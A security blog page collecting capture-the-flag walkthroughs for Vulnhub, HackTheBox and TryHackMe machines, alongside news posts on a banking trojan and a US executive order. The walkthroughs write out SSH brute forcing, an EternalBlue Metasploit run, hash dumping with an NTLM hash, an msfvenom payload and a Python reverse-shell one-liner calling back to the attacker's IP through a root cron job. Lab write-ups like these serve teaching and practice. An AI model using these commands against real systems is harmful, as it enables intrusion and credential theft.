Blog

clearinfosec.com ↗

Author: Clear Infosec

  • Potato:1 Vulnhub Walkthrough

    Hello, Infosec Community !!

    Today let’s crack the Potato:1 Machine from Vulnhub. You can download the machine from here; ( https://www.vulnhub.com/entry/potato-1,529/ )

    Description:

    • Difficulty: Easy to Medium
    • Goal: Get the root shell i.e.(root@localhost:~#) and then obtain flag under /root).

    We are going to follow the PTES Standards for cracking the machine. So, let’s start with gather information about the machine.

    First find out the IP address assigned to the vulnerable machine.

    NetDiscover Tool

    It is an ARP scanner used to identify live hosts in a network. This comes under Information Gathering

    kali@kali:~$ sudo netdiscover

    As I found the IP address of the machine next, I am going to do a  NMAP scan and find out the service and ports open in the machine. Nmap scan is also a part of Information Gathering.

    kali@kali:~$ sudo nmap -sSV -vv -sC -T4 -p-  192.168.70.130

    I have done a full port scan and found out that the machine has only 2 open ports 80 & 7120.

    As I opened the port 80 in the browser, I did not find out anything curious. So, I moved on to the next port that is 7120 with SSH service open.

    Now let’s try to find vulnerabilities in the host. This method is known as Vulnerability analysis according to PTES.

    I opened the Nikto tool and ran a quick scan on the target IP address.

    kali@kali:~$ nikto -h 192.168.70.130

    No luck !! I did not find any vulnerability. So, let’s try to bruteforce the SSH service in port 7120.

    To bruteforce and crack the SSH credentials I used the powerful tool called THC-Hydra.

    kali@kali:~$ hydra -s 7120 -l potato -P /home/kali/Desktop/passlist.txt  ssh://192.168.70.130

    As you can see in the image above, I used the login username as root and was failing consecutively.

    Then I remember the hint which was given in the machine description.

    So, I used the name potato instead of root and BOOM !! I got the password.

    And to be mentioned, I did not use Rockyou password list which is by default available in Kali machine.

    Instead I used the

    https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials

    Now I got the SSH username and password to login to the vulnerable machine.

    kali@kali:~$ ssh potato@192.168.70.130 -p 7120 

    Here I have limited access. Also, I found out that the system runs in Linux Ubuntu version 3.13.0.24 generic.

    Let us do the Exploitation part as mentioned in PTES

    I did a quick search in google and exploitdb. Got it !! I found this exploit Overlayfs. It is a Local Privilege escalation exploit which affects few versions of ubuntu. You can find the exploit code here https://www.exploit-db.com/exploits/37292

    I downloaded the file and saved it as 37292.c as we are going to compile the exploit code in gcc.

    Here I used  SimpleHTTPserver to create a quick web server to host the exploit code.

    kali@kali:~/Desktop$ sudo python -m SimpleHTTPServer 80

    In a new terminal I used wget tool to host this exploit code into the web server.

    kali@kali:~/Desktop$ wget http://192.168.70.130:80/37292.c

    Now going to the Final stage !!

    Lets download the exploit code to the target machine.

    Use the same wget command to download the file from the web server. But before that change directory to /tmp

    potato@ubuntu:~$ cd /tmp

    Now download the file and check if it is there using the ls command.

    Compile the exploit code using gcc.

    Here I am exploiting the Vulnerability we found.

    potato@ubuntu:/tmp$ gcc 37292.c -o 37292

    The exploit code is successfully executed. Now will check for the permission I have.

    I got the root permission and now can execute any commands.

    So now let’s find the hidden flag. Change the directory to /root

    Just use the ls commands to see what all the files are available in the /root folder.

    Here I found the proof.txt in which is the Flag.

                                                                 Found the Flag Proof.txt

  • Bizarro banking Trojan: Hitting 70 banks across Europe and South America

    A Brazil-originated new banking trojan – Bizarro, attacked customers of 70 banks of Brazil and Europe. Kaspersky researchers[1] discovered that Bizarro is stealing online banking credentials as well as hijacking Bitcoin wallets from android mobile users.

    The attackers are using money mules for withdrawing funds or to transfer money, Kaspersky reports. In addition to phishing, the attackers are spreading the malware as a malicious app, fake pop-ups to gain access from the victim’s android smartphone.

     

    How Bizarro attacks ?

    1. Bizarro trojan spreads through Microsoft Installer packages, which could be downloaded directly by victims trojanized app or the malicious attachment having the trojan link pretending to be tax notifications mail or any other alert mail.

    2. Once the packages are installed, it stops all running browsers and processes to terminate the existing sessions with online banking services. Now the victim must re-initiate the sign-in process and gives a lead to implant the malware and captures the credentials to create a backdoor for attackers.

    3. Bizzaro goes one step ahead and disables the autocomplete feature in the browser and displays two-factor authentication in fake pop-ups to fetch the codes.

    4. This initiates the screen capturing module and monitors the victim’s screen persistently. In order to capture crypto wallet addresses, they collect keystroke loggers, clipboards, operating system information, and banking details and once malware gets it, the attacker replaces the exiting crypto wallet with his own address.

    Kaspersky says Bizarro uses servers hosted on Azure, AWS, and compromised WordPress servers which contain more than 100 commands and malware to control the victim’s device connections, file locations, and windows screen.

    Like many other banking Trojans such as Tetrade (Guildma, Javali, Grandoreiro, Melcoz), Ghimob, and Amavaldo, the Brazilian Bizarro is increasingly affecting the mobile devices and leaving footprint across Brazil, Argentina, Chile, Germany, Spain, Portugal, France, and Italy.

    The most valuable piece of advice is to never click on any links posted by unknown sources. Always maintain a zero-trust security attitude and never dismiss a suspicious behavior because you think it is just the OS behaving strangely.

     

    Reference:

    1. Authors GReAT, GReAT, *, N., Dedola, M. L. G., Sidorina, T. K. T. S. T., & Kaspersky. (n.d.). Bizarro banking Trojan expands its attacks to Europe. Securelist English Global securelistcom. https://securelist.com/bizarro-banking-trojan-expands-its-attacks-to-europe/102258/.

  • President Biden’s Executive order on U.S. cybersecurity.

    The cyber-attack that happened on Colonial Pipeline impacted computerized equipment managing the pipeline network and stopped its operations to contain the attack. This shutdown in the pipeline of supplies rigidified the US with the rise in price and state emergencies. On the sixth day of the Colonial Pipeline shutdown, Biden signs an executive order for all software sold to the federal government should follow the baseline cybersecurity standards.

    The FBI has blamed Russia’s [1] DarkSideattackers for the ransomware attack, claiming that hackers were inside Colonial’s IT network for weeks or even months before launching their ransomware attack. The attackers stole nearly 100 gigabytes of data and threatened to release it on the internet if the ransom was not paid.

    Starting with last year’s hacking of SolarWinds, the US has seen several cyber warfares by Russia[2], Chinese[3] Microsoft Exchange email servers hack, and now Colonial Pipeline cyber attack. To take the strongest stance against these attacks, President Biden passed the effective Cybersecurity Executive Order to improve the nation’s cybersecurity and protect federal government networks.

    What the new Executive Order on Cybersecurity Says…?

    Biden’s new Executive Order[4] will guide in:

    • Removing barriers to threat information sharing between the government and the private sector.
    • Modernizing and implementing stronger cybersecurity standards in the federal government.
    • Improving software supply chain security.
    • Establishing a cybersecurity safety review board.
    • Creating a standard playbook for responding to cyber incidents.
    • Improving detection of cybersecurity incidents on federal government networks.
    • Improving investigative and remediation capabilities.

    The federal government is trying to shape the entire software market with this Cybersecurity Executive Order. The order expands its responsibilities by planning security frameworks for cloud services and improved information-sharing. Any company that sells software to the federal government has to provide a software bill of materials (SBOM) that provides transparency of components and the application.

    Back to Colonial Pipeline, the operations went back to normal by Saturday (15th May 2021). The Georgia-based firm declared a complete return to normalcy. “Delivering millions of gallons per hour to the markets we serve”, says the company on Twitter.

     

    References:

    1. ABC News. (2021, May 16). Major US fuel pipeline resumes ‘normal operations’ following a cyber attack. ABC News. https://www.abc.net.au/news/2021-05-16/colonial-pipeline-normal-operations-ransomeware-attack/100142608.

    2. Craig Timberg, E. N. (2020, December 16). Russian hack was ‘classic espionage’ with stealthy, targeted tactics. The Washington Post. https://www.washingtonpost.com/technology/2020/12/14/russia-hack-us-government/.

    3. Ellen Nakashima, A. S. (2021, April 21). Chinese hackers compromise dozens of government agencies, defense contractors. The Washington Post. https://www.washingtonpost.com/national-security/chinese-hackers-compromise-defense-contractors-agencies/2021/04/20/10772f9e-a207-11eb-a7ee-949c574a09ac_story.html.

    4. Ellen Nakashima, A. S. (2021, April 21). Chinese hackers compromise dozens of government agencies, defense contractors. The Washington Post. https://www.washingtonpost.com/national-security/chinese-hackers-compromise-defense-contractors-agencies/2021/04/20/10772f9e-a207-11eb-a7ee-949c574a09ac_story.html.

  • BEEP – HackTheBox Walkthrough

    Hello Friends, Today I am here with a new HTB machine.

    This machine was pretty easy. The main goal is to get root flag.

    Here we will be learning about a specific vulnerability called Local File Inclusion.

    I didn’t use much of the tools to pwn this machine.

    #nmap -sSV -T5 -p- 10.10.10.7 –allports

    There are a lot of service running on the host

    PORT      STATE SERVICE    VERSION

    22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)

    25/tcp    open  smtp       Postfix smtpd

    80/tcp    open  http       Apache httpd 2.2.3

    110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4

    111/tcp   open  rpcbind    2 (RPC #100000)

    143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4

    443/tcp   open  ssl/https?

    878/tcp   open  status     1 (RPC #100024)

    993/tcp   open  ssl/imap   Cyrus imapd

    995/tcp   open  pop3       Cyrus pop3d

    3306/tcp  open  mysql      MySQL (unauthorized)

    4190/tcp  open  sieve      Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)

    4445/tcp  open  upnotifyp?

    4559/tcp  open  hylafax    HylaFAX 4.3.10

    5038/tcp  open  asterisk   Asterisk Call Manager 1.1

    10000/tcp open  http       MiniServ 1.570 (Webmin httpd)

     

    I did a dirb scan to find the directories but before checking the ports and services, I did a quick google search about Elastix and its vulnerabilities. Then I came across this Local File inclusion in Elastix 2.2.0

    So, what is a Local File Inclusion (LFI) vulnerability?

    LFI is often found in poorly written web applications. These vulnerabilities occur when a web application allows the user to submit input into files or upload files to the server.

    You can find more about  LFI here https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/

    I opened the exploit from Exploit DB and was going through the code. I found that it affects Vtiger CRM.

    Here I checked whether this page has Vtiger CRM

    Okay, now I probably found something interesting without using dirbuster. Here I can see the Vtiger CRM 5.1.0. Again, google is a savior here, I checked for Vtiger CRM exploit.

    Before trying the Vtiger CRM SOAP exploit, I decided to use the Elastix LFI Exploit and see what result we get. I used the LFI exploit. I always wished not to use the Metasploit and pwn a vulnerable machine. So, this was my right chance.

    After taking a glance at the page source  I found ,

    AMPDBHOST=localhost

    AMPDBENGINE=mysql

    # AMPDBNAME=asterisk

    AMPDBUSER=asteriskuser

    # AMPDBPASS=amp109

    AMPDBPASS=jEhdIekWmdjE

    AMPENGINE=asterisk

    AMPMGRUSER=admin

    #AMPMGRPASS=amp111

    AMPMGRPASS=jEhdIekWmdjE

     

    Now digging more at the source, I found something interesting “ jEhdIekWmdjE “

    As you can see in the below screenshot, this password is mentioned in multiple places.

    I didn’t want to spend any more time attempting to brute force usernames and passwords. Instead, I just picked up the password and tried my luck whether I would get SSH using this password.

    #ssh root@10.10.10.7

    But it threw an error                       

    Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

    So, I used the key exchange to resolve the issue

    #ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@10.10.10.7

    Finally, I got the root access…! Now, all I have to do is  finding the flag

    94812bd3b0622f1228481fdd9ea7054b- that’s the flag.

    This was the first machine I pwned without using Metasploit.

     Hint: You can still use Metasploit and do privilege escalation with Nmap

    https://pentestlab.blog/category/privilege-escalation/

  • TryHackMe Walkthrough- Blue

    Hi Everyone…!!!

    I am back with another machine in this blog. In this beginner-friendly blog, we will learn how to deploy & hack into a Windows machine, leveraging common misconfigurations issues.

    This machine is based on Eternal blue vulnerability(CVE-2017-0143).

    Let’s ping the blue machine and make sure we are connected.

    Task 1:  Recon

    In the 1st task, we need to scan and find out what exploit this machine is vulnerable to.

    nmap -sC -sV -A -vv -T3

    Now, we can see the open ports and which services are running on them in the above results. There are 3 open ports under 1000.

    Here, the Microsoft–DS service is running on port number 445 and it is used by SMB (Server Message Block) service and that the system is running on Windows 7. So, we need to scan the machine to see if it is vulnerable to Eternal Blue (assuming it is called a blue machine) or other vulnerabilities affecting the older operating systems. We can do this using Nmap as well.

    To Enumerate port 445, we will use Nmap script and following command:

    nmap –script vuln -p445

    –script (Nmap Scripting Engine ‘NSE’): Specify the --script option to choose your scripts to execute by providing categories, script file names, or the name of directories full of scripts you wish to execute. https://nmap.org/book/nse-usage.html#nse-categories

    vuln: These scripts check for specific known vulnerabilities and generally report results only if they are found.

    The output of the scan shows that the machine is vulnerable to ms17-010, which is known as Eternal Blue!

    Task 2: Gain Access After a quick google search about ms17-010 exploit, I got to know that there is a Metasploit module ms17-010 Eternal blue. So, to exploit the machine and gain a foothold, we will use Metasploit.

    Let’s fire up Metasploit using command msfconsole.

    To search for the exploit, type of console: search eternalblue

    search: The msfconsole includes an extensive regular expression-based search functionality. If you have a general idea of what you are looking for, you can search for it via search.

    Before going any further, it is always advisable to check first if the host is vulnerable, before firing up an exploit in penetration testing. Because we do not want to harm the host with a careless exploit. So, to check this we can run auxiliary module with following command:

    use auxiliary/scanner/smb/smb_ms17_010

    auxiliary/…/…/: Auxiliary modules include port scanners, fuzzers, sniffers, and more.

    Let’s use the auxiliary scanner to see what we get.

    I have used the command: show options to see a list of current settings. In this, the column “Required” indicates additional settings that must be configured to make the module work properly.

    Now it is confirmed that this is Vulnerable as we expected before.

    Now let’s go back to previous results, which we got from the search eternalblue command.

    So, here I will be using module 2 which has a path: exploit/windows/smb/ms17_010_eternalblue

    Here it says no payload configured. So, by default, it is taking the “windows/x64/meterpreter/reverse_tcp” payload. But in the next tasks, we will need other sessions on meterpreter payload and for that 1st session, let’s take a simple shell as a payload, and then we will upgrade it in some time. So, I have set following payload:

    set payload windows/x64/shell/reverse_tcp

    Here I have noticed that by default the exploit also checks whether the target is vulnerable or not with the VERIFY_TARGET setting.

    We can also see that this module has four required settings and three of them are automatically configured. So, we need to set only the RHOST (remote host) using command:

    set RHOSTS <IP>

    Also in the Payload section, we must set the LHOST (listening host) using command and attackers machine’s IP address:

    set LHOST <IP>

    I also varied if the RHOSTS and LHOST are set by checking options again.

    Now let’s exploit the machine using command: exploit or run

    exploit/…/…/: In the Metasploit Framework, exploit modules are defined as modules that use payloads

    Yes..!!!

    As you can see above, after running the exploit we have gained access to the shell of the target machine.

    I am using command: whoami

    It Displays user, group, and privileges information for the user who is currently logged on to the local system. If used without parameters, whoami displays the current domain and username.

    But getting a shell is not enough, we must escalate our privileges to perform administrator-level operations on the system. For that, we need to upgrade our shell to meterpreter as it gives a lot of functionalities as compared to a normal shell.

    Before that, we need to put previously gained shell in the background using (CTRL + Z).

    By typing command sessions you can get information about all running sessions.

    Now only 1 reserver shell session is running but our next task requires us to upgrade a standard reverse shell to a meterpreter session. I have researched on the web on how to convert a shell to a meterpreter shell in Metasploit.

    I am using command: grep meterpreter search shell to search

    Here I am using command: post/multi/manage/shell_to_meterpreter, which is on number 582

    Select this (use MODULE_PATH). Using command show options, we are required to change the SESSION option.

    Use command exploit/run to upgrade from the OS shell to a meterpreter shell.

    We have successfully created a meterpreter session. Now we can see that we have 2 sessions running and we can change session with this command: sessions -i <Id>

    Using this here, I am changing the session to Id number 2, meterpreter.

     Task 3: Escalate

    Now that we have our meterpreter session, we can verify the system info by running the getsystem command and make sure that we have system-level privileges.

    meterpreter (getsystem): Attempt to elevate your privilege to that of the local system.
    meterpreter (shell): The shell command will present you with a standard shell on the target system.

    Our next challenge after escalating our meterpreter shell is to migrate it into another process. For that, I moved out of our standard shell and went back to the meterpreter session using CTRL+Z.

    Run the ps command to check about all the processes that are running on the system. There are a lot of processes running as the NT Authority. So, I have noted down the PID of the searchIndexer.exe process.

    Task 4: Cracking

    Now as we have complete control of the target machine, we can crack some passwords. For that, we need to dump the non-default user’s password and crack it.

    In our elevated meterpreter shell, by using the command hashdump, we will dump all the passwords on the machine. This is possible because we have the correct privileges to do so.

    So, we found the non-default user Jon.

    Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

    Windows OS used to have LM hashing to store passwords, but it moved over to using NTLM. This hashdump can be broken into following: (each separated by a colon):

    user: Jon
    RID: 1000
    LM hash: aad3b435b51404eeaad3b435b51404ee
    NT hash: ffb43f0de35be4d9917ac0cc8ad57f8d

    Now, this is the fun part. We can use hashcat to crack this password but some online software like Crackstation will also work fine to crack this type of weak NTLM passwords. Let’s try it with that CrackStation available at  https://crackstation.net/

    Jon’s password is alqfna22.

     

    Task 5 Find flags!

    Now we need to find the three flags planted on this machine. These are not traditional flags, rather, they are meant to represent key locations within the Windows system.

    flag1.txt C:\flag1.txt                                                                                                                                           Flag 1: {access_the_machine}

    Flag2: Windows does not like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag.

    Same way we can find flag 2 and in following location:

    flag2.txt C:\Windows\System32\config\flag2.txt                                                                                  Flag 2: {sam_database_elevated_access}

    flag3.txt C:\Users\Jon\Documents\flag3.txt                                                                                            Flag 3:{admin_documents_can_be_valuable}

    This concludes all the required tasks in this machine. EternalBlue exploits a vulnerability in Microsoft’s implementation of the Server Message Block (SMB) protocol. EternalBlue is a cyberattack exploit developed by the U.S. National Security Agency (NSA) and was leaked by the Shadow Brokers hacker group on April 14, 2017. This vulnerability was well-known back then, as many systems were compromised using this vulnerability. After that, one month later Microsoft released fixes to patch up these vulnerabilities for different Operating systems. But many Windows users missed installing the patches which paved the path for another hack two months later on May 12, 2017, the WannaCry ransomware attack. It used the EternalBlue vulnerability to spread itself. The next day (May 13, 2017) itself, Microsoft released emergency security patches for the unsupported Windows systems.

    With this, we conclude that using systems with such vulnerabilities can be compromised and the adversary can gain access and benefit from it. So, it is highly recommended to always keep your software and windows updated with the latest version, fixes, and patches to reduce the risk of being compromised by such vulnerabilities.

    Thanks for reading and will meet you next time with another blog soon.

    Until next time, Happy hacking…!!!

  • Bashed- HackTheBox Walkthrough

    Today I am going to show you how I was bashing with the “Bashed” HTB machine. The goal is to find the user.txt and final flag by getting the root. Things we learn in this machine are different from the previous machine. Don’t get confused while cracking the machine

    Now let’s crack the machine…!

    At first, I opened the IP address in the browser and was checking if I could get any information. But it was just a webpage with not much information.

    As always, NMAP will help us with the basic information gathering.

    #sudo nmap -sSV -A -T5 -p- 10.10.10.68

    Only port 80 is open and it is running on Apache 2.4.18. After a quick google search, I found that there is an exploit for this Apache version, but it didn’t work successfully. So, I have moved on to the next step.

    I used dirbuster but it took more time than expected. So, instead of that, I have used a simple Nmap script.

    #nmap –script=http-enum -p 80 10.10.10.68

    This Nmap script gave me a quick result as you can see in the above screenshot. It shows the result in 24.18 seconds. Pretty quick right…!

    I opened each page and only /dev seemed to be interesting. As you can see in the below image,

    The /dev page contains two files.

    Here I opened both the files but phpbash.php has an interactive shell page.

    I was able to run certain commands in the shell but that’s not enough to gain root.


    I was playing with the shell for some time and found the directory uploads. Even though it is empty, it should be useful. That must be a directory where we will be able to upload files and that would reflect in the browser.

    I used msfvenom to create a quick payload. To be honest I have been waiting for this chance, to create a payload using msfvenom.

     #msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.23 lport=9898 -f raw -o bashed.php

     It created a quick payload. Then I hosted it using python HttpServer

     # python -m SimpleHTTPServer  80

     And then I downloaded the payload in the browser shell using

     #wget http://10.10.14.23/bashed.php

    Meanwhile, I used Metasploit to initiate a reverse connection so that once I execute, I will get a meterpreter session.

    Here I just executed the payload in the browser.

    And I got the meterpreter session successfully.

    Let me dig in deep and see if I can find more to gain the root.

    I checked the home directory and found two other directories.

    Opened the first one and found a text file “user.txt”

    Next, I checked for the scriptmanager. For that, I opened the shell and used

    #sudo -l

    I found that we can run any commands as scriptmanager without a password.

    That was helpful for me to dig more to gain the root.

    After that, I opened the /scripts directory and opened the files in it.

    I was confused with the commands and few mistakes in the above screenshot.

    But that was helpful. I noticed one thing in the screenshot. The time of the file is updating automatically.

    It means test.py is running some cron job in the background every minute.

    Also, you can see that the file test.txt has root permission which is an advantage.

    So, I created a simple python script:

    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.23”,9898));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

    And saved it as exploit.py in my machine and again I used Python HTTPServer and downloaded the exploit in the/tmp folder. The coming step is an important one.

    Now, I must copy the contents in my exploit to test.py

    #sudo -u scriptmamager cp /tmp/exploit.py /scripts/test.py

     As we already know test.py is running a cron job every minute and test.txt has root permission.

    We can manipulate this and do a privilege escalation.

    Once it is copied, I used Netcat to listen to the machine

    #nc -lvnp 9898

    l- listen mode

    v- verbose

    n- doesn’t perform DNS lookup on the machine

    p- port to listen

    Once I got the access, I checked for the id, and BOOM…!

    I got the root.


    I navigated to the root folder and got the flag at last.

    This machine was a little tricky for me but not too difficult. Things I have learned in this machine are

    Nmap script to search directories, Netcat, Msfvenom, and about the cron job.

    This machine was little tricky for me but not too difficult. Things I learned in this machine are

    Nmap script to search directories, Netcat ,Msfvenom and also how cron job.

    Reference :

    https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

    https://github.com/frizb/MSF-Venom-Cheatsheet

  • Basic Pentesting walkthrough -TryHackMe

    Hello Everyone…!!!

    It is nice to meet you all again with another walkthrough of the basic Pentesting machine available on TryHackMe. It covers Service Enumeration, Hash Cracking, Brute-Forcing through Hydra, and Privilege Escalation. So, let us get this test started.

    To make sure that we are connected to their network, I am using the ping command on the given IP address and it seems we are.

    Now let us do some information gathering. We need to find out which ports are open and which services are running on the ports so we will take help from our friend NMAP:

    Use command: nmap -sC -sV <IP addr>

    From this Nmap scan, we got the list of open ports and the respective service running as follows:

    Here, the HTTP port is open. So, we can try to access the website to see if it can give us any piece of information.

    The resultant page seems to give us no information but when checking the source code, we found following note for us:

    We do not know about the dev note section. So, we can use dirsearch/dirbuster to find the hidden directories.

    But here, we are going to use our older friend NMAP to find the dev directory. For this, we can use Nmap scripts. This enumerates directories used by popular web applications and servers.

    Use command: # nmap -p80 –script http-enum <IP addr>

    Now we got the name of the directory “development”. Let us check what is in it:

    We found dev.txt and j.txt files here. After opening them we can see following contents:

    It is a chat between 2 users K and J.

    Now we need to find out the users and we also know it has SMB configured. To enumerate SAMBA,

    Use command: # enum4linux <IP addr>

    So, we finally found 2 users as shown above, user kay and jan.

    As we already know it is a weak password from reading messages between K and J, we can crack it using Hydra Tool.

    For that, we need a list of passwords and I am using Rockyou wordlist. It is a password dictionary used to perform different types of password cracking attacks. It is the collection of the most used and potential passwords. It is already added in Kali Linux by default and to find it,

    Use command: #locate rockyou

    The rockyou file has a .gz extension which means that it is a zip file. We must unzip it to use it.

    Use command: #gzip -d rockyou.txt.gz

    We can check it by going to the location of the file.

    Hydra tool is installed by default on Kali Linux. Now we will attempt to log in as the jan user using a rockyou.txt password list with 6 threads on the given SSH server.

    Use command: # hydra -l jan -P /usr/share/wordlists/rockyou.txt -t 6 ssh://<IP Addr>

    Hurray, here we found password: armando for user jan.

    Now, let us try to log in as user “jan”.

    Use command: ssh jan@IP addr

    We can say “yes” and provide password(armando) for user jan.

    So now we have access to user jan.

    Now we need to find any vectors to escalate our privileges. Let us look for files on the host.

    We do not find anything on the user jan. So now we can check for other directories or users and found the user kay.

    Here we found something interesting. It is a .ssh file and while trying to access It, found the public and private keys in that.

    Opening the public and private keys:

    Ahaa…We hit the Jackpot here..!!!

    We got the private key of user kay. This will be our access vector. Let us log in through ssh now.

    It looks like we need to find a passphrase first.

    We can use john the ripper to crack an SSH RSA key, but to brute-force using john, we must convert it into a suitable format first. For this, we have ssh2john.py pre-installed in Kali Linux.

     We can find it using locate command.

    If we open a hash file rsakey.hash here we can see

    Now we can use john the ripper again to crack the hash using the same wordlist rockyou.txt and retrieve the passphrase for user kay.

    Finally, we got the passphrase beeswax.

    As we know from a previous search that .ssh also has read and write permission for user kay. As we have passphrase now, let us ssh:

    Now we can find the final password and for that, we will investigate pass.bak, which we found earlier under the home directory of user kay.

    So, this is the final password we obtain.

    heresareallystrongpasswordthatfollowsthepasswordpolicy$$

    Solving this challenge enables us to get an overall idea of how to perform basic tasks in Penetration testing when we have only the IP address of the target, like scanning our target machines and look for its vulnerabilities. We understood how basic enumeration works. Apart from that, we also learn to use different tools to crack passwords and hashes and tried to gain access. Thanks for reading and will meet you next time with another blog soon.

    Until next time, Happy hacking…!!!

  • Cybersecurity Self-Awareness

    Is it possible that we will be hacked…?

    A question the shareholders of every organization in the globe have mutually. To be frank, yes you might and Yes, you should be worried about the IT security of your Business. You still have a long way to go to stay secure as per the above section.

    In a diverse world where people share different languages, cultures, etc., we have Mathematics, Science, etc. in common across the globe. The statements “Adding the number 2 twice gives 4” and “An object free-of-hold will fall to the ground at any time” are true across the globe. Likewise, are the rules of the internet to use – the Internet Protocol. As the rules of maths and science, the way successful communication being carried out is similar for every internet user regardless of wherever he is on this planet.

    with more than 7 billion people alive today, the active internet users count reaches a mind-blowing number which is around 5 billion. With our digital population growing rapidly, we, the users must be more and more careful to secure our privacy in the cyberworld. Some people would try anything to get their hands on your data and at any cost, IT security should be one of your prior concerns to stay at least one step ahead of them.

    Levels of Cyber Security Self-Awareness within an organization

    There are 2 types of companies: those that have been hacked, and those who do not know they have been hacked. 

            – John T Chambers

    There are different types of people in the Cyber industry with myriad mindsets. The importance each professional gives to their infrastructure varies according to their maturity level in Cybersecurity. The maturity levels are listed as shown in the image as a hierarchy model. Starting from the bottom, the low maturity level, to the top, the best maturity.

    (credits: Pentester Academy)

    If you are in the lowest level of maturity “We can’t be hacked”, or wherever in the middle, you might be safe today. But not always. Most IT teams have this level of maturity and with experience, they must move up the hierarchy to reach the top-level maturity “We should take care of cybersecurity seriously”. The sooner you achieve the top level, the safer will be your systems.

    Confidence is good but it is not going to help you in all times. Sometimes, it is okay to have a doubt and investigate the system from another perspective. It will take time for you to realize that you were hacked and by that time, it will late. Along with data, you will lose your reputation more than money. That is not good for business and that is why every organization should proactively allocate a good budget for IT security and continue secure and good practices without a second thought.

    Inspired by the words of Nick Espinosa, a Cybersecurity and Network Infrastructure specialist, I would like to share with you some of his simple but powerful rules, to stay secure in the cyberworld. Let us see what they are.

    Rule #1: Highly evolving threat landscape

    If there is a vulnerability, it will be exploited. There is no exception to this rule.

    With technology evolving to build a strong security system for your infrastructure, the bad actors still find ways to pierce into it, with just a slight valid flaw. The threat landscape is enhancing with the highly skilled cybercriminals and there is more to be feared for every organization. One must know their weakness in the first place to make a stand for it.

    A vulnerability is a weak spot in your system or infrastructure that a bad actor can exploit to gain access to your system. Since the first computer bug ever reported, some people were thinking of how they can crack into someone’s system. No matter how secure you are, if you are in their reach, the chance of getting exploited is undoubtedly high.

    Every organization should appreciate having a team (Internal or External) to find their vulnerabilities and to update the system before someone else finds out about it.

    Rule #2: Highly evolving vulnerability landscape

    Everything is vulnerable in some way. Trust me, everything will have at least one

    Every organization possesses some levels of IT security systems. But most will forget that what they have is not enough to defend against every attack. If you believe that you have the most modern technology and are vulnerability-free, sorry to break the ice for you, the attackers also possess the modern evolving technologies which are enough to find at least one vulnerability in your system, which will be enough for them to own your kingdom.

    From small-scale retailers to larger-scale industries, they possess Billions of data and they have spent millions on information security. Yet, there are only a few companies with no data breach history, at least a minor one.

    Rule #3: Not following Zero Trust Policy

    Humans trust even when they should not. Trust is a big mistake.

    Everyone knows that humans are the weakest link in cybersecurity. So, the chance of attacks aimed at employees is very high as we can be fooled easily.

    Believing that our data is safe with our systems is a great mistake we often make. Because we blindly believe our systems and networks. Even the emails we receive every day, which we should not. The attempt to manipulate people is increasing every day as a matter of trusting someone or something which we should not have.

    Positive expectations for our technology and the people are to be blamed for this. Remember that every form we fill online is not legitimate.

    Rule #4: Hacking innovations

    With innovation comes opportunity for exploitation. Without a doubt, we can say they come combined.

    We are living a life led by the advanced technologies and innovations that make our lives easier. Innovations lie everywhere and with everyone that even with basic IT concepts, one can think of something new which will change the way something used to be.

    Every innovation holds with it some vulnerabilities which come into light as we get more used to it. If bad actors get to know about the vulnerability before us, it will be exploited without a doubt.

    Cloud computing, IoT, and AI are just some of them. We knew they are better in every aspect, but we still hear the news about the hacks on these technologies. The 2016 Mirai virus hack on IoT devices is considered one of the largest innovation hacks.

    With innovations emerging every day, rule #4 is not one to be forgotten.

    Rule #5: When in doubt, see rule #1.

    Start with rule #1 whenever in doubt.

    You must always remember that every cybersecurity and technology issue must have started with a vulnerability of some kind, that was left uncared. If you ever forget this, you are in big trouble.

    Final Thoughts

    To survive the nonstop hacking that takes place, eliminate the objections that are holding you back from allocating a budget for cybersecurity services, like the thoughts:

    1. My IT team and the firewall got me covered
    2. My data is not important to bad actors
    3. No cyber-attack will be aimed at me

    Hire some certified expertise to run tests on your defense systems to know where you stand. Increase your budget of IT security – high priority. Find more weakness in your systems. Patch every weakness. Review all the patches done occasionally.

    With the cyber-attacks growing rapidly, we must remember that “Cybersecurity services are important as important as sales & marketing in an organization.”

    To prevent a hack, you must think like a hacker.

  • ODIN: 1 -VulnHub Walkthrough

    Hello everyone,

    Today I am here with new challenge. Odin 1 – It is an easy Vulnhub challenge. Come lets see more about the challenge.

    As you have seen in our old blog Potato:1 we follow the same PTES standards for this machine too.

    You  can download the machine here: https://www.vulnhub.com/entry/odin_1,619/

    Information Gathering:

    Lets find the ip address of the machine.

    #netdiscover

                 

    The ip address our target machine is ‘192.168.1.23’

    Now lets find the ports and services running on the machine.

    #nmap -sSV -sC -T4  -p-  192.168.1.23 –allports

    Only port 80 (HTTP) is open and it runs on WordPress 5.5.3.

    It also has a apache running. This seems to be fully a wordpress challenge. As we see wordpress is widely used it is also widely exploited.

    Now lets enumerate the website and look what we have.

     Enumeration:

    We are now enumerating the port 80 http.

     

    As we see the site just runs in wordpress and doesn’t have much information.

    We can see some encoding but nothing gives a clue when decoded.

    So now we move to the next step,

    This step is often used in all Web app testing using Nikto and Dirb. Using Dirb gives us the directories listed in the URL.

    #dirb http://192.168.1.23

    #nikto -h 192.168.1.23

    We can see that the site contains admin login page.

    http://192.168.1.23/wp-admin.php Before opening the link add the ip address in /etc/hosts

    Now we open the admin login page and check our luck.

    I used the username and password as “admin” but it didn’t work

     

     

